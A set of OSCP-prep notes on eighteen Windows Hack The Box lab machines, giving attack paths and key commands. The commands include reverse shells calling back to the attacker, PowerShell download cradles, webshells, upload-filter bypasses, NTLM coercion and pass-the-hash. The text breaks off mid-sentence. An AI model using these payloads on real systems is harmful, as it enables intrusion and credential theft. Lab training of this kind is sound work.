HTB Windows Machines — OSCP Edge Cases
On this page
Eighteen standalone Windows boxes from the OSCP-like list — one intended path each, the non-obvious step that decides it, and the exact command worth memorising. These are edge-case notes, not walkthroughs: every IP, hostname, port, user and payload path must be adapted to the target, and the linked writeup remains the walkthrough of record.
Companion pages: Command Checklist · Pattern Library · Methodology · Machine Index.
How to use this page
- Full port scan, then UDP.
nmap -sT -p- --min-rate 5000 --max-retries 1is the baseline; several boxes answer on nothing in the top 1000 (Chatterbox, Arctic) and services hide on UDP (AChat on 9256). - Enumerate SMB and RPC before attacking. Null sessions, share listings (
smbclient -N -L //IPwhensmbmapfails), and RID cycling (lookupsids, 1000–1050) often produce the userlist no wordlist would give you. - Re-try every credential against SMB, WinRM, RDP, MSSQL and the application itself — including username-format variants (
adminvsadmin@domain,uservsDOMAIN\user). Then runwhoami /priv, check service ACLs and writable service paths before any kernel exploit. - Assume Defender and AppLocker. Prefer living-off-the-land,
shell_execoversystem, staged and encoded payloads; a payload that does nothing is usually AV or .NET-version mismatch, not a broken exploit.
Markup
Path: Default creds on the MegaShopping login → Order page posts raw XML to /process.php → XXE reads Daniel’s id_rsa → SSH → users-writable job.bat run by a SYSTEM schedule.
Edge cases:
- 22/tcp is OpenSSH for Windows: a Windows host with SSH means “file-read primitive → hunt
C:\Users\<u>\.ssh\id_rsa”, not web RCE. The username is leaked by an HTML source comment (“Modified by Daniel”) — read page source before fuzzing users. - XXE must land in a field that is echoed back (
<item>) withContent-Type: text/xmlkept; the same request on 443 only answers “Bad request!”. Login accepts trivia (admin:passwordwas enough), so try defaults before injecting. C:\Log-Management\job.batisBUILTIN\Users:(F)and re-runs as SYSTEM, but it is overwritten each run — the injected line disappears, which looks like “the exploit didn’t work”.- Echoing the payload from PowerShell mangles the
.bat(redirect/wildcard errors on-e); drop tocmd.exeand it fires in seconds.
Commands to remember:
# Burp Repeater body, POST to /process.php with Content-Type: text/xml
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY t SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]><order><quantity>3</quantity><item>&t;</item><address>x</address></order>
chmod 400 id_rsa; ssh -i id_rsa daniel@IP
icacls C:\Log-Management\job.bat
cmd /c echo C:\Users\Daniel\nc64.exe -e cmd.exe IP 443 > C:\Log-Management\job.bat
Notes: XXE · File system ACLs · Writeup: source · alt
Jerry
Path: Tomcat 7.0.88 manager with default tomcat:s3cret → deploy a malicious WAR → JSP executes as SYSTEM.
Edge cases:
- There is no user→root split: both flags live in one file (
2 for the price of 1.txt) on Administrator’s Desktop, so don’t hunt for a second path. msfvenom -f warnames the JSP randomly —jar tfthe WAR to learn the name before you can trigger it. The URL is/<war-name>/<jsp-name>; the manager UI (“WAR file to deploy”) works just as well, and clicking the app entry reveals the JSP.- Tomcat runs as SYSTEM, so the WAR is the privesc; no local enumeration needed.
Commands to remember:
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=443 -f war > r.war
jar tf r.war
curl http://IP:8080/r/<random>.jsp
# creds: tomcat:s3cret
Notes: Tomcat · Writeup: source
Netmon
Path: Anonymous FTP exposes the whole C:\ → PRTG config backups hold an old plaintext password → year-bumped → PRTG notification command injection → add local admin → psexec.
Edge cases:
- The FTP root is
C:\(cd users\publicforuser.txt), so anonymous FTP is already game over; don’t linger on port 80. - Live
.dat/.oldconfigs show<dbpassword><encrypted/>; onlyPRTG Configuration.old.bakhas a plaintext value in an XML comment. Try the year+1 guess on old creds (PrTg@dmin2018→2019) instead of assuming they’re dead. - Injection lives in the Parameter field of a notification using a demo
.ps1(“Execute Program”), and only a filtered subset of characters survives — chaining with;works. You must trigger the notification (checkbox + bell/test icon) for it to run; creating it does nothing.
Commands to remember:
wget -r ftp://anonymous:@IP
grep -A2 '<dbpassword>' "PRTG Configuration.old.bak"
# Notification parameter:
test.txt;net user anon p3nT3st! /add;net localgroup administrators anon /add
smbmap -H IP -u anon -p 'p3nT3st!' ; psexec.py 'anon:p3nT3st!@IP'
Notes: FTP · OS command injection · Writeup: source
Servmon
Path: Anonymous FTP notes → NVMS-1000 path traversal reads passwords.txt → password spray → SSH as nadine → NSClient++ 0.5.2.35 privesc → SYSTEM.
Edge cases:
- Web fuzzing breaks on this appliance: every path returns HTTP 200 with a 118-byte
<response><status>fail</status>, so gobuster aborts on the wildcard and wfuzz must filter--hh 118. A wfuzz run also died at ~2.4k requests with “connection refused” (cause not established) — resume with fewer threads rather than concluding the app is gone. - Traversal is unusually deep and needs no encoding tricks:
/../../../../../../../../../../../../users/nathan/desktop/passwords.txt. The file holds passwords only — build the userlist from FTP directory names (nathan, nadine) and spray; only one pair hits. - The NSClient++ password comes from the binary, not a file:
nscp web -- password --display.nsclient.inisetsallowed hosts = 127.0.0.1, so the 8443 UI is unreachable withoutssh -L 8443:127.0.0.1:8443. - The NSClient++ web UI is genuinely flaky (Chromium worked, Firefox didn’t): add an external script, then a 10s schedule, then Control → Reload and wait — it is slower than it looks.
Commands to remember:
wfuzz -c -u http://IP/FUZZ -w list --hh 118
crackmapexec smb IP -u users -p passwords
sshpass -p '...' ssh nadine@IP -L 8443:127.0.0.1:8443
cd "C:\Program Files\NSClient++"; nscp web -- password --display
Notes: FTP · Enumerating attack vectors · Writeup: source
Chatterbox
Path: Only 9255/9256 (AChat) respond → SEH buffer overflow on 9256/UDP → migrate off the dying process → Alfred → root flag via icacls.
Edge cases:
- The top-1000 scan is empty (all filtered); you must run a full
-p-TCP scan with a high--min-rate, and remember AChat also listens on UDP 9256 (nmap reports only TCP). - The exploit kills AChat.exe, so every session dies instantly — the trick is a Metasploit
AutoRunScriptthat migrates out of AChat tonotepad.exebefore you interact. - The msfvenom payload needs
-e x86/unicode_mixed,BufferRegister=EAX, and the huge-bbad-char list from the POC; the stock Metasploit module fails (“No encoders encoded the buffer”) — use the exploit-db Python POC. - Root without SYSTEM: Alfred has inherited Full Control on Administrator’s Desktop but
root.txtitself is Administrator-only, so re-ACL the file and read it.
Commands to remember:
nmap -sT -p- --min-rate 5000 --max-retries 1 IP
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=IP LPORT=443 -e x86/unicode_mixed -b '\x00...\xff' BufferRegister=EAX -f python
set AutoRunScript multi_console_command -r automigrate.rc
icacls Desktop ; icacls root.txt /grant alfred:F
Notes: File system ACLs · Writeup: source
Jeeves
Path: Jetty on 50000 → /askjeeves Jenkins with no auth → job or script-console shell as kohsuke → KeePass CEH.kdbx → pass-the-hash Administrator → ADS root flag.
Edge cases:
- Wordlist matters: feroxbuster’s raft-medium finds nothing on 50000, but
gobuster -u http://IP:50000/ -w .../directory-list-2.3-medium.txt -x txt,php,htmlfinds/askjeeves(302). On old boxes, run a second, older list before moving on. - No
ncfor exfil: copyCEH.kdbxinto the Jenkins job workspace and download it through the Jenkins UI, then delete it. - KeePass entry “Backup stuff” is an LM:NT hash pair, not a password —
crackmapexec -Hgives(Pwn3d!), thenpsexec.py -hashes. The LM half is the empty-password constantaad3b435.... hm.txtsays “look deeper”: the flag is an alternate data stream —dir /Rshowshm.txt:root.txt:$DATA, read withmore < hm.txt:root.txt.
Commands to remember:
println "cmd.exe /c whoami".execute().text
keepass2john CEH.kdbx > h; hashcat h rockyou.txt --user
crackmapexec smb IP -u Administrator -H <LM:NT>
dir /R ; more < hm.txt:root.txt
Notes: Jenkins · Living off the land · Writeup: source
Sniper
Path: /blog?lang= LFI/RFI → poison the PHP session file in C:\Windows\Temp → webshell → db.php creds reused for Chris → weaponized .chm opened by admin → SYSTEM.
Edge cases:
- LFI only works with an absolute Windows path (
\windows\win.ini);..\relative paths fail. RFI over SMB needs real Samba (guest ok = yes,force user) — impacketsmbserver.pygetsSTATUS_ACCESS_DENIEDbecause PHP’s SMB client can’t authenticate. - Registration strips
- $ [ ( _ . ; & " \and the backtick — bypass with backticks and padding:a <?php echo `whoami` ?> b. Session file =C:\windows\temp\sess_<PHPSESSID>(grab the cookie from Burp). Reading filtered source:.is stripped, so use wildcards (registration*php); since-is banned, PowerShell base64 must be invoked as/enc, not-enc. user\db.phpcredentials are reused for the OS account Chris (Remote Management Users) →Invoke-Command -Credential. Pivot to Chris before looking for local privesc.- Root: nishang
Out-CHM(needs HTML Help Workshop) dropped intoC:\Docs, where the CEO note says documentation goes; AppLocker means the payload binary must sit in an allowed dir such asC:\Windows\System32\spool\drivers\color.
Commands to remember:
curl -s -G 'http://IP/blog/' --data-urlencode 'lang=\windows\win.ini'
curl -s -G 'http://IP/blog/' --data-urlencode 'lang=\\IP\share\cmd.php' --data-urlencode 'cmd=whoami'
echo 'cmd /c "\\IP\share\nc64.exe -e cmd IP 443"' | iconv -f ascii -t utf-16le | base64 -w0 # then powershell /enc ...
Out-CHM -Payload "...\color\nc64.exe -e cmd IP 443" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
Notes: LFI · RFI · Living off the land · Writeup: source
Querier
Path: Null SMB session → Reports share .xlsm macros leak MSSQL creds → mssqlclient → xp_dirtree coerces Net-NTLMv2 → crack → mssql-svc → xp_cmdshell → PowerUp finds a GPP cpassword → wmiexec Administrator.
Edge cases:
smbmapfails butsmbclient -N -Llists shares — try both before declaring SMB closed. Creds are inside VBA:olevbaprints theADODB.Connectionstring (Uid=reporting;Pwd=...) in plaintext.mssqlclient.pyneeds-windows-auth; the low-privreportinglogin cannotxp_cmdshellbut canxp_dirtree, which is enough to coerce authentication. Crack withhashcat -m 5600, thenenable_xp_cmdshell.- Windows refuses to run a
.ps1straight off a UNC share (“issues loading PowerShell scripts off file shares”) —xcopyPowerUp to%TEMP%and dot-source it locally. - PowerUp’s GPP hit (
Groups.xml,cpassword, user Administrator) is the fast win. JuicyPotato is dead on Server 2019 even with SeImpersonate, and the%PATH%DLL hijack + UsoSvc paths are real findings but dead ends here.
Commands to remember:
smbclient -N -L //IP ; smbclient -N //IP/Reports
olevba "Currency Volume Report.xlsm"
mssqlclient.py reporting:'Pwd'@IP -windows-auth # xp_dirtree '\\IP\a'; + responder -I tun0 → hashcat -m 5600
Invoke-AllChecks # GPP cpassword → wmiexec.py 'administrator:pass@IP'
Notes: MSSQL · SMB · Writeup: source
Giddy
Path: /mvc SQL injection → stacked xp_dirtree → Net-NTLMv2 for Stacy → crack → WinRM → UniFi Video taskkill.exe hijack → SYSTEM.
Edge cases:
- 80 and 443 serve the same app;
/remoteis PowerShell Web Access (a hint that WinRM is the intended shell), not an entry point. Stacked queries are enabled, so injection alone yields NTLM coercion:8; EXEC master..xp_dirtree "\\IP\test"; --(orsqlmap -r product.request --dbms mssql --risk 3 --level 5 --batch --dbs). Capture with responder or impacket smbserver — the share name must match the UNC. - As an unprivileged user all service enumeration is denied (
sc query,net start,Get-WmiObject Win32_Service) — readHKLM:\SYSTEM\CurrentControlSet\Servicesin the registry instead, and check PSReadLineConsoleHost_history.txt, which literally contains thenet stop unifivideoservicecommands. - UniFi Video runs
C:\ProgramData\unifi-video\taskkill.exeon start and stop, and that file does not exist → drop the payload there, thenStop-Service→ SYSTEM. - Defender blocks a raw msfvenom exe and AppLocker blocks exes outside allowed paths (
C:\Windows\tasksworks); Ebowla (env-keyed, e.g. computernameGiddy) gets past both.
Commands to remember:
Product.aspx?ProductSubCategoryId=8;%20EXEC%20master..xp_dirtree%20"\\IP\test";%20--
cd HKLM:\system\currentcontrolset\services; ls # then cat ...\PSReadline\ConsoleHost_history.txt
python ebowla.py rev.exe genetic.config; ./build_x64_go.sh ...
Stop-Service -Name Unifivideoservice -Force
Notes: Enumerating attack vectors · MSSQL · Writeup: source
Bounty
Path: IIS 7.5 upload form → extension filter bypass (null byte) → .aspx won’t execute → upload a web.config that maps *.config to asp.dll → RCE as merlin → SeImpersonate → SYSTEM.
Edge cases:
- Uploading
cmdasp.aspxpasses the filter but returns a 500: the handler isn’t mapped. The fix is to upload aweb.configwith ahandlersentry (scriptProcessor=...\asp.dll) plusrequestFilteringremovals, then request/UploadedFiles/web.config— the ASP appended after</configuration>executes. - Filter bypass is a null byte in the filename so the check sees
.jpgwhile the file lands as.aspx.UploadedFilesis wiped every few minutes — don’t invest in a persisted webshell, go straight to a reverse shell. user.txtis hidden: plainlsshows nothing →gci -force.SeImpersonatePrivilegeis already enabled → LonelyPotato works on 2008 R2, and with no hotfixes MS10-092 (schelevator) / MS16-014 also fire. Watson/Sherlock are .NET-version sensitive: build for the target’s framework (2.0.50727) or the exe returns nothing at all and looks “broken”.
Commands to remember:
/UploadedFiles/cmdasp.aspx?cmd=whoami
# web.config: <handlers accessPolicy="Read, Script, Write"> + <add path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64"/> + <remove fileExtension=".config"/> + <remove segment="web.config"/>
whoami /priv # SeImpersonatePrivilege → lp.exe * rev.bat
msbuild -version # in C:\windows\microsoft.net\framework\v2.0.50727
Notes: Microsoft IIS · File uploads · Excessive user rights · Writeup: source
Arctic
Path: ColdFusion 8 on TCP 8500 → unauthenticated FCKeditor file upload → JSP reverse shell as tolis → unpatched Server 2008 R2 → MS10-059 → SYSTEM.
Edge cases:
nmap -sVlabels 8500fmtp?and gives nothing; a rawnc+GET / HTTPreturnsServer: JRun Web Serverand a directory listing ofCFIDE/andcfdocs/— that banner is the whole identification step. Every request then takes ~30 s, and firing many tabs at once yields empty responses: single-threaded with long timeouts.- Upload bypass needs three things at the same time: multipart filename ending
.txt(a.jspfilename is filtered),Content-Type: application/x-java-archive, andCurrentFolder=/<name>.jsp%00so the null byte truncates the created folder name. password.properties(SHA1) is readable viaenter.cfm?locale=../../…/ColdFusion8/lib/password.properties%00en; you do not have to crack it — the form postshex_hmac_sha1(salt, hex_sha1(password)), so computehex_hmac_sha1(document.loginform.salt.value, '<leaked-sha1>')and submit. The salt rotates every ~30 s, so re-fetch the form and submit immediately.- Privesc:
systeminfoshowsHotfix(s): N/A→ Windows-Exploit-Suggester. Pick an exploit that takes LHOST/LPORT (Chimichurri, MS10-059); exploits that only spawn a localcmd.exeas SYSTEM are useless from a remote shell. The upload module iscfm/webapps/16788.rb(searchsploit -x cfm/webapps/16788.rb).
Commands to remember:
nc IP 8500 # GET / HTTP → Server: JRun Web Server
curl -X POST -F "newfile=@shell.jsp;type=application/x-java-archive;filename=shell.txt" 'http://IP:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/df.jsp%00'
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=443 -f raw > shell.jsp
windows-exploit-suggester.py --update # needs pip install xlrd; then --database ... --systeminfo sysinfo
Notes: File uploads · Enumerating attack vectors · Writeup: source
Remote
Path: NFS export /site_backups → App_Data/Umbraco.sdf → crack admin SHA1 → Umbraco authenticated XSLT RCE → IIS AppPool → TeamViewer 7 SecurityPasswordAES → admin password reuse.
Edge cases:
- NFS on a Windows host is the foothold:
showmount -ethenmount -t nfsgives a live copy of the webroot, so you can readWeb.configand the SQL CE database without touching HTTP. strings Umbraco.sdfalone leaks usernames, the SHA1 admin hash and the{"hashAlgorithm":"SHA1"}marker;smith/ssmithuse a saltedHMACSHA256scheme and are not worth cracking early. Umbraco’s login is the emailadmin@htb.local—adminfails;hashcat -m 100for the SHA1.- The public Umbraco RCE script needs
host = "http://10.10.10.180"(scheme included) or it errors; edit the C# block to runcmd.exe /cand test with a ping before the PowerShelliex(new-object net.webclient).downloadstring(...)loader.user.txtsits inC:\Users\Public, because the only shell isiis apppool\defaultapppooland there is no human user profile. - Privesc:
tasklistshowsTeamViewer_Service.exe; readHKLM:\software\wow6432node\teamviewer\version7, takeSecurityPasswordAES, AES-128-CBC decrypt with the static key/IV from the Metasploitteamviewer_passwordsmodule, and decode UTF-16LE (AES.new(key, AES.MODE_CBC, IV=iv).decrypt(ct).decode("utf-16").rstrip("\x00")). The result is the local administrator password.
Commands to remember:
showmount -e IP ; mount -t nfs IP:/site_backups /mnt
strings /mnt/App_Data/Umbraco.sdf | head
hashcat -m 100 admin.sha1 rockyou.txt
netexec smb IP -u administrator -p '<pass>' # (Pwn3d!) → evil-winrm -u administrator -p '<pass>' -i IP
Buff
Path: Gym Management System 1.0 unauthenticated upload → PHP webshell as shaun → localhost CloudMe 1.11.2 stack overflow tunnelled with Chisel → SYSTEM.
Edge cases:
- The enormous gobuster output is a rabbit hole; identify the product from the site footer /
/contact.php, orREADME.mdat the web root, thensearchsploit gym management(EDB 48506). - Upload needs all filters beaten at once:
id=sets the output filename,pupload=uploadsatisfies the handler, double extension.php.pngpasses theend(explode('.'))whitelist,Content-Type: image/pngpasses the MIME check, and the PHP file must start with the PNG magic bytes. - Inside the webshell,
system()gets the payload eaten by Defender on upload;<?php echo shell_exec($_REQUEST["cmd"]); ?>works. The shell is stateless (nocd), so use absolute paths liketype \users\shaun\desktop\user.txt. - Privesc discovery:
netstat -ano | findstr :0shows127.0.0.1:8888, and the PID changes every minute —tasklist /v | findstr <pid>fast, or just noticeCloudMe_1112.exeinC:\Users\shaun\Downloads. 8888 is localhost-only → Chisel reverse (R:8888:localhost:8888), then run the BOF against127.0.0.1:8888. Payload is 32-bit:msfvenom -a x86 -b '\x00\x0A\x0D' -f python -v payload.
Commands to remember:
curl -X POST 'http://IP:8080/upload.php?id=0xdf' -F 'pupload=upload' -F 'file=@shell.php.png'
printf '\x89PNG\r\n\x1a\n<?php echo shell_exec($_REQUEST["cmd"]); ?>' > shell.php.png
chisel server -p 8000 --reverse # target: .\c.exe client IP:8000 R:8888:localhost:8888
searchsploit -m windows/remote/48389.py # EIP 0x68A842B5 PUSH ESP/RET, 1052-byte offset
Notes: File uploads · Pivoting and tunnelling · Writeup: source
Love
Path: TLS cert leaks staging.love.htb → /beta.php URL fetcher = SSRF → credentials on internal 127.0.0.1:5000 → Voting System authenticated upload RCE as phoebe → AlwaysInstallElevated → SYSTEM.
Edge cases:
- When 443 only returns 403, read the certificate: it carries
love.htbandstaging.love.htb, which is the entire vhost discovery step (no ffuf needed).staging’s “Demo” page (/beta.php) fetches an arbitrary URL;http://127.0.0.1:5000returns an internal page that prints the voting-system credentials — SSRF used as a credential leak, not just port knocking. - EDB 49445 hardcodes
/votingsystem/in every URL; delete that segment or all three requests 404. Adds.proxies = {'http': 'http://127.0.0.1:8080'}to the script’srequests.Sessionto see why it fails. - Manual equivalent: log in, click the admin’s name → profile update → the profile picture accepts a bare
<?php system($_REQUEST["cmd"]); ?>ascmd.php, served from/images/cmd.php. No filter — try the obvious before building a bypass. - Privesc: winPEAS prints both
AlwaysInstallElevatedkeys and a PSReadLine history path; the flag is valid only when HKLM and HKCU are 1. NoteC:\grants Authenticated Users CreateDirectories, which makes staging easy.
Commands to remember:
openssl s_client -connect IP:443 # → add love.htb + staging.love.htb to /etc/hosts
python3 49445.py # after removing /votingsystem from every URL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f msi -o rev.msi
msiexec /quiet /qn /i rev.msi # after reg query HKCU\...\Installer /v AlwaysInstallElevated (and HKLM) → 1
Notes: SSRF · Enumerating attack vectors · Writeup: source · alt
Secnotes
Path: Contact-form bot → XSRF password reset of tyler (or accidental second-order SQLi) → SMB-writable new-site → webshell on 8808 → WSL .bash_history leaks admin password → winexe.
Edge cases:
- Two independent ways to
tyler: the intended XSRF (change_pass.phpaccepts GET and never asks for the current password, so a link in a contact message resets his password when the bot clicks), and an accidental second-order SQLi — register as' or 1='1, then log in andhome.phpprints every user’s notes. - 8808 is the same directory as the
new-siteSMB share, sosmbclient put+curl= code execution. The share/webroot is wiped on a timer, so script the upload-and-trigger instead of hand-crafting it twice. - Enumerate WSL as a credential store, not a privilege boundary:
bash.exelives underC:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_*, androot’s.bash_history(also readable viaC:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_*\LocalState\rootfs\root) contains thesmbclient -U 'administrator%…' \\127.0.0.1\c$line —where /R c:\ bash.exe, thencat .bash_history. - A WSL uid-0 shell is not Windows admin — it is sandboxed to tyler’s access. Use the recovered password with
net use \\127.0.0.1\c$ /user:administrator, orwinexe/psexec.pyfrom the attacker host.
Commands to remember:
curl 'http://IP/change_pass.php?password=x&confirm_password=x&submit=submit' # inside a contact message
smbclient -U 'tyler%<pass>' //IP/new-site -c 'put cmd.php 0xdf.php'
curl 'http://IP:8808/0xdf.php?cmd=nc.exe+-e+cmd.exe+IP+443'
net use \\127.0.0.1\c$ /user:administrator "<pass>" ; type \\127.0.0.1\c$\users\administrator\desktop\root.txt
Notes: CSRF · Enumerating attack vectors · Writeup: source
Access
Path: Anonymous FTP → backup.mdb + AES zip → Access Control.pst → security telnet shell → cmdkey stored admin creds → runas /savecred (or DPAPI decrypt) → administrator.
Edge cases:
- One directory holds two credential stores:
Backups/backup.mdbandEngineer/Access Control.zip.unzipfails with “unsupported compression method 99” (AES) — use7z x, and take the password from the mdb, not from a wordlist. FTP gotchas:binbeforeget; quote names with spaces (get "Access Control.zip");get Acc*returns 550. - mdbtools on a 100+ table Access DB:
mdb-tables, then loopmdb-export <db> <table> | wc -lto find the handful of non-empty tables;auth_userholds cleartextusername,password, including a non-admin password that opens the zip. readpstthe.pstto mbox, thenmutt -Rf(read-only) to read it; the mail contains the rotatedsecuritypassword, and the open telnet service is the shell.- Privesc:
cmdkey /listshowsDomain:interactive=ACCESS\Administrator, andC:\Users\Public\Desktop\*.lnk(readable withtype) containsrunas /user:ACCESS\Administrator /savecred.runasopens a new window, so you cannot see output — make it run a reverse shell. Offline alternative: exfil%APPDATA%\Microsoft\Protect\<SID>\*+%APPDATA%\Microsoft\Credentials\*withcertutil -encode, thendpapi::masterkey /sid:… /password:<security pw>anddpapi::cred.
Commands to remember:
ftp IP # anonymous → bin → get "Access Control.zip"
for t in $(mdb-tables backup.mdb); do ...; done ; mdb-export backup.mdb auth_user
7z x "Access Control.zip" ; readpst "Access Control.pst" ; mutt -Rf "Access Control.mbox"
runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('http://IP/shell.ps1')"
Notes: FTP · Enumerating attack vectors · Writeup: source
Mailing
Path: download.php?file= path traversal → hMailServer.ini MD5 → SMTP auth → CVE-2024-21413 phish of maya → NetNTLMv2 crack → WinRM → LibreOffice 7.4.0.1 CVE-2023-2255 → localadmin.
Edge cases:
- The file read is
file_get_contents('C:/wwwroot/instructions/' . $file)— not an include (it wasinclude()at release, the patched unintended path). Both/and\\separators work, and+encodes the space inProgram+Files+(x86).hMailServer.inilives inC:\Program Files (x86)\hMailServer\bin\and yields two MD5s; the admin hash is the mail admin password, not the Windows one. SMTP auth requires the full UPN —administratorfails,administrator@mailing.htbsucceeds — andswaks --auth-user … --quit-after AUTHvalidates it without sending mail. - CVE-2024-21413 (“MonikerLink”) is an Outlook RCE and credential-leak flaw with a CVSS of 9.8, disclosed 13 February 2024. It must go out on 587 (STARTTLS); the PoC errors on 25 with “STARTTLS extension not supported”. The body link is
file:///\\IP\share\sploit!poc— the!anythingsuffix is what suppresses the protocol security prompt. Catch the auth with Responder-I tun0, crack as Net-NTLMv2 (hashcatauto-detects 5600). - Patched-unintended path: SMTP log poisoning (
HELO <?php system($_REQUEST['cmd']); ?>) read back through the same LFI at../../progra~2/hmailserver/logs/hmailserver_<date>.log(8.3 name!) →defaultapppool→whoami /privshowsSeImpersonatePrivilege→ GodPotato. - Intended root: the
Important Documentsshare reports READ but is writable (netexec bug) and its contents are consumed by a scheduled job within minutes, so dropping the.odtthere gets it opened; installed LibreOffice 7.4.0.1 is CVE-2023-2255 — a flaw where “floating frames” linked to external files load their contents without prompting the user, which can lead to arbitrary code execution when a malformed document is opened → shell aslocaladmin. (Which process opens the document is not stated in the writeup — (unverified).)
Commands to remember:
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
swaks --auth-user 'administrator@mailing.htb' --auth LOGIN --auth-password '<pw>' --quit-after AUTH --server mailing.htb
python CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password '<pw>' --recipient maya@mailing.htb --url "\\IP\share\sploit"
python CVE-2023-2255.py --cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe IP 443' --output exploit.odt
Notes: SMTP · Excessive user rights · Writeup: source
Heist
Path: Support portal “login as guest” → attached Cisco config → crack Type 5 / decode Type 7 → SMB/WinRM spray → chase → Firefox process dump → admin password reuse.
Edge cases:
- The credential source is an attachment on a guest-visible ticket: a Cisco
show runwithenable secret 5(md5crypt) and twopassword 7blobs. Type 7 is reversible, not hashed — the first byte is a 1-based offset into the static keytfd;kfoA,.iyewrkldJKD, the rest XORs against the rolled key. - Only
hazard:stealth1agentauthenticates initially; SMB gives IPC$ only, so pivot torpcclientand enumerate RIDs —lookupsidsin a loop 1000–1050 (orlookupsid.py) revealssupport,chase,jason, which no wordlist would have given you. Re-spray the same password list against the new users; CME stops at the first success — add--continue-on-success. - Privesc:
C:\inetpub\wwwroot\login.phphardcodes the admin email and a SHA256 that does not crack.todo.txtsays “keep checking the issues list”, and five Firefox PIDs are running → dump one (procdump64 -ma <pid> -accepteula) and grep the dump for the POST body, add a custom regex to mimikittenz, or readsessionstore-backups. - The site password is reused for
SUPPORTDESK\administrator→evil-winrm.
Commands to remember:
python3 cisco_de7.py 0242114B0E143F015F5D1E161713 # XOR with tfd;kfoA,.iyewrkldJKD; john --wordlist=rockyou.txt level5_hash (md5crypt) / hashcat -m 500
crackmapexec smb IP -u users -p passwords --continue-on-success
rpcclient -U 'hazard%<pw>' IP -c 'lookupsids S-1-5-21-...-1012' # or lookupsid.py hazard:<pw>@IP
procdump64 -ma 6252 -accepteula ; grep -aoE 'login_username=.{1,20}@.{1,20}&login_password=.{1,50}&login=' firefox.dmp
Notes: SMB · Password attacks · Writeup: source
Cross-machine patterns
Use this as a checklist before you start and again after every shell. Each item names the boxes where it decided the outcome.
Where the credentials hide
- Anonymous or guest-writable FTP is a file-system read: the FTP root is
C:\(Netmon), note files name the exact file to fetch (Servmon), and an Access DB plus AES zip sits one directory down (Access). - Config and database artifacts: PRTG
Configuration.old.bak(Netmon),Umbraco.sdfover NFS (Remote),hMailServer.inivia traversal (Mailing),db.php(Sniper),.xlsmVBA viaolevba(Querier),CEH.kdbx(Jeeves),password.properties(Arctic). - Sweep after landing:
*.config,*.ini,*.sdf,*.mdb,*.pst,web.config,.bash_history, browser profiles,.lnkfiles — before hunting a new exploit. - Hidden data needs a flag: alternate data streams (
dir /R, Jeeves), hidden files (gci -force, Bounty), WSLrootfshistory (Secnotes), Firefox dumps andsessionstore-backups(Heist).
Reuse, spraying and hash handling
- Feed every secret back into every account and service, in both username formats (
adminvsadmin@domain,SUPPORTDESK\user): year-bumped PRTG creds (Netmon), passwords-only file sprayed with FTP-derived users (Servmon),db.phppassword = Chris’s Windows password (Sniper), TeamViewer secret = local admin (Remote), site admin = domain Administrator (Heist). - Counter-examples: hMailServer’s “administrator” password is mail-only, and Love’s web creds are not OS creds — validate against the real service (
swaks, SMB/WinRM) before spraying. - Hash formats decide the mode: KeePass pairs are LM:NT for pass-the-hash (Jeeves),
.xlsm/coerced auth is Net-NTLMv2-m 5600(Querier, Giddy), Umbraco SHA1 is-m 100(Remote), Ciscoenable secret 5is md5crypt (Heist). - When an app accepts a hash directly (Arctic’s HMAC login, Heist’s SHA256), stop cracking and re-read the login code.
Coerced authentication and MSSQL
-
xp_dirtreeagainst your listener needs no exploit: direct login (Querier) or stacked injection (Giddy); the UNC share name must match the Responder/smbserver share. -
mssqlclient.py -windows-auth; low-priv logins canxp_dirtreewhilexp_cmdshellstays blocked — checkfn_my_permissionsbefore assuming a dead end. - Windows won’t run a
.ps1from a UNC share —xcopyPowerUp to%TEMP%and dot-source it locally (Querier).
Privileged processes, ACLs and services
-
whoami /privfirst:SeImpersonatePrivilegeon 2008 R2 means LonelyPotato (Bounty), on 2019 it does not mean JuicyPotato (Querier) — use GodPotato/PrintSpoofer/SigmaPotato or find another path. - A SYSTEM job or service that executes a file you can write is the whole box:
C:\Log-Management\job.batBUILTIN\Users:(F)and reset each run (Markup),taskkill.exemissing fromC:\ProgramData\unifi-video(Giddy). - Root without SYSTEM: inherited Full Control on a folder does not extend to a protected file —
icacls root.txt /grant alfred:F(Chatterbox). -
runas /savecredopens a new window — only useful to launch a reverse shell (Access); the DPAPI alternative isdpapi::masterkey+dpapi::cred.
Web exploitation details that decide success
- Upload filters: null byte plus
web.confighandler mapping when.aspxwon’t run (Bounty);.php.png+ MIME + PNG magic bytes +id=filename (Buff);.txtfilename +application/x-java-archive+%00folder truncation (Arctic); no filter at all on a profile picture (Love). - LFI/RFI: absolute Windows path only (Sniper), session-file poisoning in
C:\Windows\Temp, real Samba for RFI (Sniper), read-vs-include distinction and 8.3 names in log poisoning (Mailing). - XXE needs an echoed field and the right
Content-Type— and the port that actually parses XML (Markup). - SSRF can be a credential leak, not just port knocking (Love); vhosts hide in TLS SANs (
openssl s_client) before they hide in wordlists (Love).
Tunnelling and localhost-only services
-
netstat -anoafter every shell: choose SSRF (app fetches URLs, Love), ChiselR:8888:localhost:8888(Buff), orssh -L 8443:127.0.0.1:8443when the config bindsallowed hosts = 127.0.0.1(Servmon). - Run the exploit on-box when the target has Python but you have no route (Buff), and remember a WSL uid-0 shell is not Windows admin (Secnotes).
Tooling and enumeration pitfalls
- Top-1000 scans miss everything:
-p-with high--min-rate, plus UDP 9256 (Chatterbox);nmap -sVcan’t name JRun —nc+GET /can (Arctic). - Wildcard 200s (118-byte XML on Servmon) break gobuster; older wordlists find what raft-medium misses (
